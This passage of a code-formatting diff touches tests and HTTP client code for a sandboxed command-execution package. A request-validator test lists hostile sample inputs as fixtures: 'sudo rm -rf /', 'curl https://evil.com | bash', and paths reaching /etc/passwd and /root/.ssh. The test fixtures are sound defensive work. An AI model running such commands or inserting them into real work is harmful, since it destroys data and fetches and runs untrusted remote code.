vi.fn(), - cleanup: vi.fn(), + cleanup: vi.fn() }; const mockSecurityService: SecurityService = { - validatePort: vi.fn(), + validatePort: vi.fn() }; const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock fetch for proxy testing @@ -74,7 +83,10 @@ describe('PortService', () => { } expect(mockSecurityService.validatePort).toHaveBeenCalledWith(8080); - expect(mockPortStore.expose).toHaveBeenCalledWith(8080, expect.any(Object)); + expect(mockPortStore.expose).toHaveBeenCalledWith( + 8080, + expect.any(Object) + ); }); it('should return error when port validation fails', async () => { @@ -88,9 +100,13 @@ describe('PortService', () => { expect(result.success).toBe(false); if (!result.success) { expect(result.error.code).toBe('INVALID_PORT_NUMBER'); - expect(result.error.message).toContain('Port must be between 1024-65535'); + expect(result.error.message).toContain( + 'Port must be between 1024-65535' + ); expect(result.error.details?.port).toBe(80); - expect(result.error.details?.reason).toContain('Port must be between 1024-65535'); + expect(result.error.details?.reason).toContain( + 'Port must be between 1024-65535' + ); } // Should not attempt to store port @@ -102,7 +118,7 @@ describe('PortService', () => { port: 8080, name: 'existing-service', exposedAt: new Date(), - status: 'active', + status: 'active' }; mocked(mockPortStore.get).mockResolvedValue(existingPortInfo); @@ -140,7 +156,7 @@ describe('PortService', () => { port: 8080, name: 'web-server', exposedAt: new Date(), - status: 'active', + status: 'active' }; mocked(mockPortStore.get).mockResolvedValue(existingPortInfo); @@ -170,7 +186,7 @@ describe('PortService', () => { port: 8080, name: 'web-server', exposedAt: new Date(), - status: 'active', + status: 'active' }; mocked(mockPortStore.get).mockResolvedValue(existingPortInfo); const storeError = new Error('Unexpose failed'); @@ -194,7 +210,7 @@ describe('PortService', () => { port: 8080, name: 'web-server', exposedAt: new Date(), - status: 'active' as const, + status: 'active' as const } } ]; @@ -228,7 +244,7 @@ describe('PortService', () => { port: 8080, name: 'web-server', exposedAt: new Date(), - status: 'active', + status: 'active' }; mocked(mockPortStore.get).mockResolvedValue(portInfo); @@ -259,14 +275,16 @@ describe('PortService', () => { port: 8080, name: 'web-server', exposedAt: new Date(), - status: 'active', + status: 'active' }; mocked(mockPortStore.get).mockResolvedValue(portInfo); const mockResponse = new Response('Hello World', { status: 200 }); mockFetch.mockResolvedValue(mockResponse); - const testRequest = new Request('http://example.com/proxy/8080/api/test?param=value'); + const testRequest = new Request( + 'http://example.com/proxy/8080/api/test?param=value' + ); const response = await portService.proxyRequest(8080, testRequest); @@ -284,7 +302,7 @@ describe('PortService', () => { const response = await portService.proxyRequest(8080, testRequest); expect(response.status).toBe(404); - const responseData = await response.json() as PortNotFoundResponse; + const responseData = (await response.json()) as PortNotFoundResponse; expect(responseData.error).toBe('Port not found'); expect(responseData.port).toBe(8080); @@ -297,7 +315,7 @@ describe('PortService', () => { port: 8080, name: 'web-server', exposedAt: new Date(), - status: 'active', + status: 'active' }; mocked(mockPortStore.get).mockResolvedValue(portInfo); @@ -308,11 +326,10 @@ describe('PortService', () => { const response = await portService.proxyRequest(8080, testRequest); expect(response.status).toBe(502); - const responseData = await response.json() as ProxyErrorResponse; + const responseData = (await response.json()) as ProxyErrorResponse; expect(responseData.error).toBe('Proxy error'); expect(responseData.message).toContain('Connection refused'); }); - }); describe('markPortInactive', () => { @@ -321,7 +338,7 @@ describe('PortService', () => { port: 8080, name: 'web-server', exposedAt: new Date(), - status: 'active', + status: 'active' }; mocked(mockPortStore.get).mockResolvedValue(portInfo); mocked(mockPortStore.expose).mockResolvedValue(undefined); @@ -367,9 +384,7 @@ describe('PortService', () => { } // Verify cleanup was called with 1 hour ago threshold - expect(mockPortStore.cleanup).toHaveBeenCalledWith( - expect.any(Date) - ); + expect(mockPortStore.cleanup).toHaveBeenCalledWith(expect.any(Date)); }); it('should handle cleanup errors', async () => { @@ -384,5 +399,4 @@ describe('PortService', () => { } }); }); - -}); \ No newline at end of file +}); diff --git a/packages/sandbox-container/tests/services/process-service.test.ts b/packages/sandbox-container/tests/services/process-service.test.ts index d4b64f8e..14295e11 100644 --- a/packages/sandbox-container/tests/services/process-service.test.ts +++ b/packages/sandbox-container/tests/services/process-service.test.ts @@ -1,7 +1,18 @@ import { beforeEach, describe, expect, it, vi } from 'bun:test'; -import type { Logger, ProcessRecord, ServiceResult } from '@sandbox-container/core/types.ts'; -import { type ProcessFilters, ProcessService, type ProcessStore } from "@sandbox-container/services/process-service.js"; -import type { RawExecResult, SessionManager } from '@sandbox-container/services/session-manager'; +import type { + Logger, + ProcessRecord, + ServiceResult +} from '@sandbox-container/core/types.ts'; +import { + type ProcessFilters, + ProcessService, + type ProcessStore +} from '@sandbox-container/services/process-service.js'; +import type { + RawExecResult, + SessionManager +} from '@sandbox-container/services/session-manager'; import { mocked } from '../test-utils'; // Mock the dependencies with proper typing @@ -11,14 +22,14 @@ const mockProcessStore: ProcessStore = { update: vi.fn(), delete: vi.fn(), list: vi.fn(), - cleanup: vi.fn(), + cleanup: vi.fn() }; const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock SessionManager with proper typing @@ -28,11 +39,13 @@ const mockSessionManager: Partial = { killCommand: vi.fn(), setEnvVars: vi.fn(), getSession: vi.fn(), - createSession: vi.fn(), + createSession: vi.fn() }; // Mock factory functions -const createMockProcess = (overrides: Partial = {}): ProcessRecord => ({ +const createMockProcess = ( + overrides: Partial = {} +): ProcessRecord => ({ id: 'proc-123', command: 'test command', status: 'running', @@ -43,9 +56,9 @@ const createMockProcess = (overrides: Partial = {}): ProcessRecor statusListeners: new Set(), commandHandle: { sessionId: 'default', - commandId: 'proc-123', + commandId: 'proc-123' }, - ...overrides, + ...overrides }); describe('ProcessService', () => { @@ -71,12 +84,12 @@ describe('ProcessService', () => { data: { exitCode: 0, stdout: 'hello world\n', - stderr: '', - }, + stderr: '' + } } as ServiceResult); const result = await processService.executeCommand('echo "hello world"', { - cwd: '/tmp', + cwd: '/tmp' }); expect(result.success).toBe(true); @@ -89,10 +102,10 @@ describe('ProcessService', () => { // Verify SessionManager was called correctly expect(mockSessionManager.executeInSession).toHaveBeenCalledWith( - 'default', // sessionId + 'default', // sessionId 'echo "hello world"', - '/tmp', // cwd - undefined // timeoutMs (not provided in options) + '/tmp', // cwd + undefined // timeoutMs (not provided in options) ); }); @@ -102,8 +115,8 @@ describe('ProcessService', () => { data: { exitCode: 1, stdout: '', - stderr: 'error message', - }, + stderr: 'error message' + } } as ServiceResult); const result = await processService.executeCommand('false'); @@ -120,8 +133,8 @@ describe('ProcessService', () => { success: false, error: { message: 'Session execution failed', - code: 'SESSION_ERROR', - }, + code: 'SESSION_ERROR' + } } as ServiceResult); const result = await processService.executeCommand('some command'); @@ -145,7 +158,7 @@ describe('ProcessService', () => { const result = await processService.startProcess('sleep 10', { cwd: '/tmp', - sessionId: 'session-123', + sessionId: 'session-123' }); expect(result.success).toBe(true); @@ -155,7 +168,7 @@ describe('ProcessService', () => { expect(result.data.status).toBe('running'); expect(result.data.commandHandle).toEqual({ sessionId: 'session-123', - commandId: result.data.id, + commandId: result.data.id }); } @@ -163,9 +176,9 @@ describe('ProcessService', () => { expect(mockSessionManager.executeStreamInSession).toHaveBeenCalledWith( 'session-123', 'sleep 10', - expect.any(Function), // event handler callback + expect.any(Function), // event handler callback '/tmp', - expect.any(String) // commandId (generated dynamically) + expect.any(String) // commandId (generated dynamically) ); // Verify process was stored @@ -174,8 +187,8 @@ describe('ProcessService', () => { command: 'sleep 10', status: 'running', commandHandle: expect.objectContaining({ - sessionId: 'session-123', - }), + sessionId: 'session-123' + }) }) ); }); @@ -195,16 +208,20 @@ describe('ProcessService', () => { it('should handle stream execution errors', async () => { // Mock SessionManager to throw error - mocked(mockSessionManager.executeStreamInSession).mockImplementation(() => { - throw new Error('Failed to execute stream'); - }); + mocked(mockSessionManager.executeStreamInSession).mockImplementation( + () => { + throw new Error('Failed to execute stream'); + } + ); const result = await processService.startProcess('echo test', {}); expect(result.success).toBe(false); if (!result.success) { expect(result.error.code).toBe('STREAM_START_ERROR'); - expect(result.error.message).toContain('Failed to start streaming command'); + expect(result.error.message).toContain( + 'Failed to start streaming command' + ); } }); }); @@ -243,13 +260,13 @@ describe('ProcessService', () => { command: 'sleep 10', commandHandle: { sessionId: 'default', - commandId: 'proc-123', - }, + commandId: 'proc-123' + } }); mocked(mockProcessStore.get).mockResolvedValue(mockProcess); mocked(mockSessionManager.killCommand).mockResolvedValue({ - success: true, + success: true } as ServiceResult); const result = await processService.killProcess('proc-123'); @@ -265,7 +282,7 @@ describe('ProcessService', () => { // Verify store was updated expect(mockProcessStore.update).toHaveBeenCalledWith('proc-123', { status: 'killed', - endTime: expect.any(Date), + endTime: expect.any(Date) }); }); @@ -283,7 +300,7 @@ describe('ProcessService', () => { it('should succeed when process has no commandHandle', async () => { const mockProcess = createMockProcess({ command: 'echo test', - commandHandle: undefined, + commandHandle: undefined }); mocked(mockProcessStore.get).mockResolvedValue(mockProcess); @@ -301,7 +318,11 @@ describe('ProcessService', () => { it('should return all processes from store', async () => { const mockProcesses = [ createMockProcess({ id: 'proc-1', command: 'ls', status: 'completed' }), - createMockProcess({ id: 'proc-2', command: 'sleep 10', status: 'running' }), + createMockProcess({ + id: 'proc-2', + command: 'sleep 10', + status: 'running' + }) ]; mocked(mockProcessStore.list).mockResolvedValue(mockProcesses); @@ -321,13 +342,13 @@ describe('ProcessService', () => { createMockProcess({ id: 'proc-1', command: 'sleep 10', - commandHandle: { sessionId: 'default', commandId: 'proc-1' }, + commandHandle: { sessionId: 'default', commandId: 'proc-1' } }), createMockProcess({ id: 'proc-2', command: 'sleep 20', - commandHandle: { sessionId: 'default', commandId: 'proc-2' }, - }), + commandHandle: { sessionId: 'default', commandId: 'proc-2' } + }) ]; mocked(mockProcessStore.list).mockResolvedValue(mockProcesses); @@ -335,7 +356,7 @@ describe('ProcessService', () => { .mockResolvedValueOnce(mockProcesses[0]) .mockResolvedValueOnce(mockProcesses[1]); mocked(mockSessionManager.killCommand).mockResolvedValue({ - success: true, + success: true } as ServiceResult); const result = await processService.killAllProcesses(); diff --git a/packages/sandbox-container/tests/session.test.ts b/packages/sandbox-container/tests/session.test.ts index e2582951..270e35b9 100644 --- a/packages/sandbox-container/tests/session.test.ts +++ b/packages/sandbox-container/tests/session.test.ts @@ -39,7 +39,7 @@ describe('Session', () => { it('should initialize session successfully', async () => { session = new Session({ id: 'test-session-1', - cwd: testDir, + cwd: testDir }); await session.initialize(); @@ -52,8 +52,8 @@ describe('Session', () => { id: 'test-session-2', cwd: testDir, env: { - TEST_VAR: 'test-value', - }, + TEST_VAR: 'test-value' + } }); await session.initialize(); @@ -67,7 +67,7 @@ describe('Session', () => { it('should create session directory', async () => { session = new Session({ id: 'test-session-3', - cwd: testDir, + cwd: testDir }); await session.initialize(); @@ -81,7 +81,7 @@ describe('Session', () => { beforeEach(async () => { session = new Session({ id: 'test-exec', - cwd: testDir, + cwd: testDir }); await session.initialize(); }); @@ -156,7 +156,9 @@ describe('Session', () => { await session.exec('mkdir -p tempdir'); // Execute command in subdirectory - const result = await session.exec('pwd', { cwd: join(testDir, 'tempdir') }); + const result = await session.exec('pwd', { + cwd: join(testDir, 'tempdir') + }); expect(result.exitCode).toBe(0); expect(result.stdout.trim()).toContain('tempdir'); @@ -171,7 +173,9 @@ describe('Session', () => { }); it('should handle multiline output', async () => { - const result = await session.exec('echo "line 1"; echo "line 2"; echo "line 3"'); + const result = await session.exec( + 'echo "line 1"; echo "line 2"; echo "line 3"' + ); expect(result.exitCode).toBe(0); expect(result.stdout.trim()).toBe('line 1\nline 2\nline 3'); @@ -182,15 +186,21 @@ describe('Session', () => { const result = await session.exec('yes "test line" | head -n 100'); expect(result.exitCode).toBe(0); - expect(result.stdout.split('\n').filter((l) => l === 'test line')).toHaveLength(100); + expect( + result.stdout.split('\n').filter((l) => l === 'test line') + ).toHaveLength(100); }); it('should handle output within size limit', async () => { // Generate ~5KB of output (well below the 10MB default) - const result = await session.exec('yes "test line with some text" | head -n 500'); + const result = await session.exec( + 'yes "test line with some text" | head -n 500' + ); expect(result.exitCode).toBe(0); - const lines = result.stdout.split('\n').filter((l) => l === 'test line with some text'); + const lines = result.stdout + .split('\n') + .filter((l) => l === 'test line with some text'); expect(lines.length).toBe(500); }); @@ -199,13 +209,15 @@ describe('Session', () => { const smallSession = new Session({ id: 'small-output-session', cwd: testDir, - maxOutputSizeBytes: 1024, // 1KB + maxOutputSizeBytes: 1024 // 1KB }); await smallSession.initialize(); try { // Try to generate >1KB of output (~12KB) - await smallSession.exec('yes "test line with text here" | head -n 1000'); + await smallSession.exec( + 'yes "test line with text here" | head -n 1000' + ); expect.unreachable('Should have thrown an error for oversized output'); } catch (error) { expect(error).toBeInstanceOf(Error); @@ -233,7 +245,9 @@ describe('Session', () => { it('should handle shell functions', async () => { // Define a function - const result1 = await session.exec('my_func() { echo "function works"; }'); + const result1 = await session.exec( + 'my_func() { echo "function works"; }' + ); expect(result1.exitCode).toBe(0); // Call the function @@ -247,7 +261,7 @@ describe('Session', () => { beforeEach(async () => { session = new Session({ id: 'test-stream', - cwd: testDir, + cwd: testDir }); await session.initialize(); }); @@ -255,7 +269,9 @@ describe('Session', () => { it('should stream command output', async () => { const events: any[] = []; - for await (const event of session.execStream('echo "Hello"; echo "World"')) { + for await (const event of session.execStream( + 'echo "Hello"; echo "World"' + )) { events.push(event); } @@ -279,7 +295,9 @@ describe('Session', () => { it('should stream stderr separately', async () => { const events: any[] = []; - for await (const event of session.execStream('echo "out"; echo "err" >&2')) { + for await (const event of session.execStream( + 'echo "out"; echo "err" >&2' + )) { events.push(event); } @@ -338,7 +356,7 @@ describe('Session', () => { it('should cleanup session resources', async () => { session = new Session({ id: 'test-destroy', - cwd: testDir, + cwd: testDir }); await session.initialize(); @@ -352,7 +370,7 @@ describe('Session', () => { it('should be safe to call destroy multiple times', async () => { session = new Session({ id: 'test-destroy-multiple', - cwd: testDir, + cwd: testDir }); await session.initialize(); @@ -367,7 +385,7 @@ describe('Session', () => { it('should throw error when executing in destroyed session', async () => { session = new Session({ id: 'test-error-1', - cwd: testDir, + cwd: testDir }); await session.initialize(); @@ -385,7 +403,7 @@ describe('Session', () => { it('should throw error when executing before initialization', async () => { session = new Session({ id: 'test-error-2', - cwd: testDir, + cwd: testDir }); try { @@ -400,12 +418,14 @@ describe('Session', () => { it('should handle invalid cwd gracefully', async () => { session = new Session({ id: 'test-error-3', - cwd: testDir, + cwd: testDir }); await session.initialize(); - const result = await session.exec('echo test', { cwd: '/nonexistent/path/that/does/not/exist' }); + const result = await session.exec('echo test', { + cwd: '/nonexistent/path/that/does/not/exist' + }); // Should fail to change directory expect(result.exitCode).toBe(1); @@ -417,7 +437,7 @@ describe('Session', () => { it('should cleanup FIFO pipes after command execution', async () => { session = new Session({ id: 'test-fifo-cleanup', - cwd: testDir, + cwd: testDir }); await session.initialize(); @@ -440,7 +460,7 @@ describe('Session', () => { it('should correctly parse output with newlines', async () => { session = new Session({ id: 'test-binary-prefix', - cwd: testDir, + cwd: testDir }); await session.initialize(); @@ -454,7 +474,7 @@ describe('Session', () => { it('should handle empty output', async () => { session = new Session({ id: 'test-empty-output', - cwd: testDir, + cwd: testDir }); await session.initialize(); @@ -473,7 +493,7 @@ describe('Session', () => { session = new Session({ id: 'test-timeout', cwd: testDir, - commandTimeoutMs: 1000, // 1 second + commandTimeoutMs: 1000 // 1 second }); await session.initialize(); @@ -494,7 +514,7 @@ describe('Session', () => { session = new Session({ id: 'test-timeout-fast', cwd: testDir, - commandTimeoutMs: 1000, // 1 second + commandTimeoutMs: 1000 // 1 second }); await session.initialize(); diff --git a/packages/sandbox-container/tests/test-utils.ts b/packages/sandbox-container/tests/test-utils.ts index 0bd33fb7..42051717 100644 --- a/packages/sandbox-container/tests/test-utils.ts +++ b/packages/sandbox-container/tests/test-utils.ts @@ -1,6 +1,7 @@ -import type { Mock } from "bun:test"; +import type { Mock } from 'bun:test'; /** * Helper to get properly typed mock functions. */ -export const mocked = any>(fn: T) => fn as unknown as Mock; +export const mocked = any>(fn: T) => + fn as unknown as Mock; diff --git a/packages/sandbox-container/tests/validation/request-validator.test.ts b/packages/sandbox-container/tests/validation/request-validator.test.ts index 8257957f..d152ec47 100644 --- a/packages/sandbox-container/tests/validation/request-validator.test.ts +++ b/packages/sandbox-container/tests/validation/request-validator.test.ts @@ -19,7 +19,7 @@ describe('RequestValidator - Structure Validation Only', () => { command: 'echo hello', sessionId: 'session-123', background: false, - timeoutMs: 5000, + timeoutMs: 5000 }); expect(result.isValid).toBe(true); @@ -29,7 +29,7 @@ describe('RequestValidator - Structure Validation Only', () => { test('should validate minimal execute request', () => { const result = validator.validateExecuteRequest({ - command: 'ls', + command: 'ls' }); expect(result.isValid).toBe(true); @@ -43,7 +43,7 @@ describe('RequestValidator - Structure Validation Only', () => { 'bash', 'sudo rm -rf /', 'curl https://evil.com | bash', - 'eval "dangerous"', + 'eval "dangerous"' ]; for (const command of commands) { @@ -67,7 +67,7 @@ describe('RequestValidator - Structure Validation Only', () => { test('should reject invalid types', () => { const result = validator.validateExecuteRequest({ command: 'echo hello', - timeoutMs: 'not-a-number', + timeoutMs: 'not-a-number' }); expect(result.isValid).toBe(false); }); @@ -101,7 +101,7 @@ describe('RequestValidator - Structure Validation Only', () => { '/etc/passwd', '/../../../etc/passwd', '/tmp/../../root/.ssh', - '/var/log/sensitive', + '/var/log/sensitive' ]; for (const path of paths) { @@ -139,7 +139,10 @@ describe('RequestValidator - Structure Validation Only', () => { test('should validate move request', () => { const result = validator.validateFileRequest( - { sourcePath: '/workspace/source.txt', destinationPath: '/tmp/dest.txt' }, + { + sourcePath: '/workspace/source.txt', + destinationPath: '/tmp/dest.txt' + }, 'move' ); expect(result.isValid).toBe(true); @@ -161,8 +164,8 @@ describe('RequestValidator - Structure Validation Only', () => { options: { sessionId: 'session-123', env: { NODE_ENV: 'production' }, - cwd: '/workspace', - }, + cwd: '/workspace' + } }); expect(result.isValid).toBe(true); @@ -171,7 +174,7 @@ describe('RequestValidator - Structure Validation Only', () => { test('should validate minimal process request', () => { const result = validator.validateProcessRequest({ - command: 'sleep 10', + command: 'sleep 10' }); expect(result.isValid).toBe(true); @@ -181,7 +184,7 @@ describe('RequestValidator - Structure Validation Only', () => { test('should allow ANY command (no security validation)', () => { // Phase 0: No command validation in RequestValidator const result = validator.validateProcessRequest({ - command: 'sudo rm -rf /', + command: 'sudo rm -rf /' }); expect(result.isValid).toBe(true); }); @@ -196,7 +199,7 @@ describe('RequestValidator - Structure Validation Only', () => { test('should validate port expose request', () => { const result = validator.validatePortRequest({ port: 8080, - name: 'web-server', + name: 'web-server' }); expect(result.isValid).toBe(true); @@ -244,7 +247,7 @@ describe('RequestValidator - Structure Validation Only', () => { const result = validator.validateGitRequest({ repoUrl: 'https://github.com/user/repo.git', branch: 'main', - targetDir: '/workspace/repo', + targetDir: '/workspace/repo' }); expect(result.isValid).toBe(true); @@ -253,7 +256,7 @@ describe('RequestValidator - Structure Validation Only', () => { test('should validate minimal git request', () => { const result = validator.validateGitRequest({ - repoUrl: 'https://github.com/user/repo.git', + repoUrl: 'https://github.com/user/repo.git' }); expect(result.isValid).toBe(true); @@ -266,7 +269,7 @@ describe('RequestValidator - Structure Validation Only', () => { 'https://github.com/user/repo.git', 'https://git.company.com/repo.git', 'git@github.com:user/repo.git', - 'https://my-server.io/repo.git', + 'https://my-server.io/repo.git' ]; for (const url of urls) { @@ -284,7 +287,9 @@ describe('RequestValidator - Structure Validation Only', () => { test('should allow any non-empty string as URL (Phase 0)', () => { // Phase 0: No URL format validation in schema // Services handle format validation (null bytes, length limits only) - const result = validator.validateGitRequest({ repoUrl: 'any-string-here' }); + const result = validator.validateGitRequest({ + repoUrl: 'any-string-here' + }); expect(result.isValid).toBe(true); }); }); diff --git a/packages/sandbox/package.json b/packages/sandbox/package.json index d7f8e65a..410fdd17 100644 --- a/packages/sandbox/package.json +++ b/packages/sandbox/package.json @@ -8,7 +8,7 @@ "description": "A sandboxed environment for running commands", "type": "module", "dependencies": { - "@cloudflare/containers": "^0.0.29" + "@cloudflare/containers": "^0.0.30" }, "devDependencies": { "@repo/shared": "*" diff --git a/packages/sandbox/src/clients/base-client.ts b/packages/sandbox/src/clients/base-client.ts index 15ae2d30..32e25ca7 100644 --- a/packages/sandbox/src/clients/base-client.ts +++ b/packages/sandbox/src/clients/base-client.ts @@ -1,17 +1,14 @@ -import type { Logger } from "@repo/shared"; -import { createNoOpLogger } from "@repo/shared"; +import type { Logger } from '@repo/shared'; +import { createNoOpLogger } from '@repo/shared'; import { getHttpStatus } from '@repo/shared/errors'; import type { ErrorResponse as NewErrorResponse } from '../errors'; import { createErrorFromResponse, ErrorCode } from '../errors'; import type { SandboxError } from '../errors/classes'; -import type { - HttpClientOptions, - ResponseHandler -} from './types'; +import type { HttpClientOptions, ResponseHandler } from './types'; // Container provisioning retry configuration -const TIMEOUT_MS = 60_000; // 60 seconds total timeout budget -const MIN_TIME_FOR_RETRY_MS = 10_000; // Need at least 10s remaining to retry (8s Container + 2s delay) +const TIMEOUT_MS = 60_000; // 60 seconds total timeout budget +const MIN_TIME_FOR_RETRY_MS = 10_000; // Need at least 10s remaining to retry (8s Container + 2s delay) /** * Abstract base class providing common HTTP functionality for all domain clients @@ -42,7 +39,8 @@ export abstract class BaseHttpClient { // Only retry container provisioning 503s, not user app 503s if (response.status === 503) { - const isContainerProvisioning = await this.isContainerProvisioningError(response); + const isContainerProvisioning = + await this.isContainerProvisioningError(response); if (isContainerProvisioning) { const elapsed = Date.now() - startTime; @@ -60,13 +58,16 @@ export abstract class BaseHttpClient { remainingSec: Math.floor(remaining / 1000) }); - await new Promise(resolve => setTimeout(resolve, delay)); + await new Promise((resolve) => setTimeout(resolve, delay)); attempt++; continue; } else { // Exhausted retries - log error and return response // Let existing error handling convert to proper error - this.logger.error('Container failed to provision after multiple attempts', new Error(`Failed after ${attempt + 1} attempts over 60s`)); + this.logger.error( + 'Container failed to provision after multiple attempts', + new Error(`Failed after ${attempt + 1} attempts over 60s`) + ); return response; } } @@ -87,9 +88,9 @@ export abstract class BaseHttpClient { const response = await this.doFetch(endpoint, { method: 'POST', headers: { - 'Content-Type': 'application/json', + 'Content-Type': 'application/json' }, - body: JSON.stringify(data), + body: JSON.stringify(data) }); return this.handleResponse(response, responseHandler); @@ -103,7 +104,7 @@ export abstract class BaseHttpClient { responseHandler?: ResponseHandler ): Promise { const response = await this.doFetch(endpoint, { - method: 'GET', + method: 'GET' }); return this.handleResponse(response, responseHandler); @@ -117,13 +118,12 @@ export abstract class BaseHttpClient { responseHandler?: ResponseHandler ): Promise { const response = await this.doFetch(endpoint, { - method: 'DELETE', + method: 'DELETE' }); return this.handleResponse(response, responseHandler); } - /** * Handle HTTP response with error checking and parsing */ @@ -145,7 +145,9 @@ export abstract class BaseHttpClient { // Handle malformed JSON responses gracefully const errorResponse: NewErrorResponse = { code: ErrorCode.INVALID_JSON_RESPONSE, - message: `Invalid JSON response: ${error instanceof Error ? error.message : 'Unknown parsing error'}`, + message: `Invalid JSON response: ${ + error instanceof Error ? error.message : 'Unknown parsing error' + }`, context: {}, httpStatus: response.status, timestamp: new Date().toISOString() @@ -182,8 +184,6 @@ export abstract class BaseHttpClient { throw error; } - - /** * Create a streaming response handler for Server-Sent Events */ @@ -205,7 +205,10 @@ export abstract class BaseHttpClient { * Utility method to log successful operations */ protected logSuccess(operation: string, details?: string): void { - this.logger.info(`${operation} completed successfully`, details ? { details } : undefined); + this.logger.info( + `${operation} completed successfully`, + details ? { details } : undefined + ); } /** @@ -242,7 +245,9 @@ export abstract class BaseHttpClient { * Check if 503 response is from container provisioning (retryable) * vs user application (not retryable) */ - private async isContainerProvisioningError(response: Response): Promise { + private async isContainerProvisioningError( + response: Response + ): Promise { try { // Clone response so we don't consume the original body const cloned = response.clone(); @@ -251,13 +256,19 @@ export abstract class BaseHttpClient { // Container package returns specific message for provisioning errors return text.includes('There is no Container instance available'); } catch (error) { - this.logger.error('Error checking response body', error instanceof Error ? error : new Error(String(error))); + this.logger.error( + 'Error checking response body', + error instanceof Error ? error : new Error(String(error)) + ); // If we can't read the body, don't retry to be safe return false; } } - private async executeFetch(path: string, options?: RequestInit): Promise { + private async executeFetch( + path: string, + options?: RequestInit + ): Promise { const url = this.options.stub ? `http://localhost:${this.options.port}${path}` : `${this.baseUrl}${path}`; @@ -273,7 +284,11 @@ export abstract class BaseHttpClient { return await fetch(url, options); } } catch (error) { - this.logger.error('HTTP request error', error instanceof Error ? error : new Error(String(error)), { method: options?.method || 'GET', url }); + this.logger.error( + 'HTTP request error', + error instanceof Error ? error : new Error(String(error)), + { method: options?.method || 'GET', url } + ); throw error; } } diff --git a/packages/sandbox/src/clients/command-client.ts b/packages/sandbox/src/clients/command-client.ts index 9c932d7c..2bc57851 100644 --- a/packages/sandbox/src/clients/command-client.ts +++ b/packages/sandbox/src/clients/command-client.ts @@ -1,5 +1,9 @@ import { BaseHttpClient } from './base-client'; -import type { BaseApiResponse, HttpClientOptions, SessionRequest } from './types'; +import type { + BaseApiResponse, + HttpClientOptions, + SessionRequest +} from './types'; /** * Request interface for command execution @@ -23,7 +27,6 @@ export interface ExecuteResponse extends BaseApiResponse { * Client for command execution operations */ export class CommandClient extends BaseHttpClient { - /** * Execute a command and return the complete result * @param command - The command to execute @@ -42,10 +45,7 @@ export class CommandClient extends BaseHttpClient { ...(timeoutMs !== undefined && { timeoutMs }) }; - const response = await this.post( - '/api/execute', - data - ); + const response = await this.post('/api/execute', data); this.logSuccess( 'Command executed', @@ -90,9 +90,9 @@ export class CommandClient extends BaseHttpClient { const response = await this.doFetch('/api/execute/stream', { method: 'POST', headers: { - 'Content-Type': 'application/json', + 'Content-Type': 'application/json' }, - body: JSON.stringify(data), + body: JSON.stringify(data) }); const stream = await this.handleStreamResponse(response); diff --git a/packages/sandbox/src/clients/file-client.ts b/packages/sandbox/src/clients/file-client.ts index 71deb9d8..ef302770 100644 --- a/packages/sandbox/src/clients/file-client.ts +++ b/packages/sandbox/src/clients/file-client.ts @@ -49,7 +49,6 @@ export interface FileOperationRequest extends SessionRequest { * Client for file system operations */ export class FileClient extends BaseHttpClient { - /** * Create a directory * @param path - Directory path to create @@ -65,12 +64,15 @@ export class FileClient extends BaseHttpClient { const data = { path, sessionId, - recursive: options?.recursive ?? false, + recursive: options?.recursive ?? false }; const response = await this.post('/api/mkdir', data); - - this.logSuccess('Directory created', `${path} (recursive: ${data.recursive})`); + + this.logSuccess( + 'Directory created', + `${path} (recursive: ${data.recursive})` + ); return response; } catch (error) { this.logError('mkdir', error); @@ -96,11 +98,11 @@ export class FileClient extends BaseHttpClient { path, content, sessionId, - encoding: options?.encoding ?? 'utf8', + encoding: options?.encoding ?? 'utf8' }; const response = await this.post('/api/write', data); - + this.logSuccess('File written', `${path} (${content.length} chars)`); return response; } catch (error) { @@ -124,12 +126,15 @@ export class FileClient extends BaseHttpClient { const data = { path, sessionId, - encoding: options?.encoding ?? 'utf8', + encoding: options?.encoding ?? 'utf8' }; const response = await this.post('/api/read', data); - this.logSuccess('File read', `${path} (${response.content.length} chars)`); + this.logSuccess( + 'File read', + `${path} (${response.content.length} chars)` + ); return response; } catch (error) { this.logError('readFile', error); @@ -150,15 +155,15 @@ export class FileClient extends BaseHttpClient { try { const data = { path, - sessionId, + sessionId }; const response = await this.doFetch('/api/read/stream', { method: 'POST', headers: { - 'Content-Type': 'application/json', + 'Content-Type': 'application/json' }, - body: JSON.stringify(data), + body: JSON.stringify(data) }); const stream = await this.handleStreamResponse(response); @@ -175,15 +180,12 @@ export class FileClient extends BaseHttpClient { * @param path - File path to delete * @param sessionId - The session ID for this operation */ - async deleteFile( - path: string, - sessionId: string - ): Promise { + async deleteFile(path: string, sessionId: string): Promise { try { const data = { path, sessionId }; const response = await this.post('/api/delete', data); - + this.logSuccess('File deleted', path); return response; } catch (error) { @@ -207,7 +209,7 @@ export class FileClient extends BaseHttpClient { const data = { oldPath: path, newPath, sessionId }; const response = await this.post('/api/rename', data); - + this.logSuccess('File renamed', `${path} -> ${newPath}`); return response; } catch (error) { @@ -255,10 +257,13 @@ export class FileClient extends BaseHttpClient { const data = { path, sessionId, - options: options || {}, + options: options || {} }; - const response = await this.post('/api/list-files', data); + const response = await this.post( + '/api/list-files', + data + ); this.logSuccess('Files listed', `${path} (${response.count} files)`); return response; @@ -273,23 +278,23 @@ export class FileClient extends BaseHttpClient { * @param path - Path to check * @param sessionId - The session ID for this operation */ - async exists( - path: string, - sessionId: string - ): Promise { + async exists(path: string, sessionId: string): Promise { try { const data = { path, - sessionId, + sessionId }; const response = await this.post('/api/exists', data); - this.logSuccess('Path existence checked', `${path} (exists: ${response.exists})`); + this.logSuccess( + 'Path existence checked', + `${path} (exists: ${response.exists})` + ); return response; } catch (error) { this.logError('exists', error); throw error; } } -} \ No newline at end of file +} diff --git a/packages/sandbox/src/clients/git-client.ts b/packages/sandbox/src/clients/git-client.ts index 56c46355..7504dcbe 100644 --- a/packages/sandbox/src/clients/git-client.ts +++ b/packages/sandbox/src/clients/git-client.ts @@ -18,7 +18,6 @@ export interface GitCheckoutRequest extends SessionRequest { * Client for Git repository operations */ export class GitClient extends BaseHttpClient { - /** * Clone a Git repository * @param repoUrl - URL of the Git repository to clone @@ -45,7 +44,7 @@ export class GitClient extends BaseHttpClient { const data: GitCheckoutRequest = { repoUrl, sessionId, - targetDir, + targetDir }; // Only include branch if explicitly specified @@ -79,7 +78,7 @@ export class GitClient extends BaseHttpClient { const url = new URL(repoUrl); const pathParts = url.pathname.split('/'); const 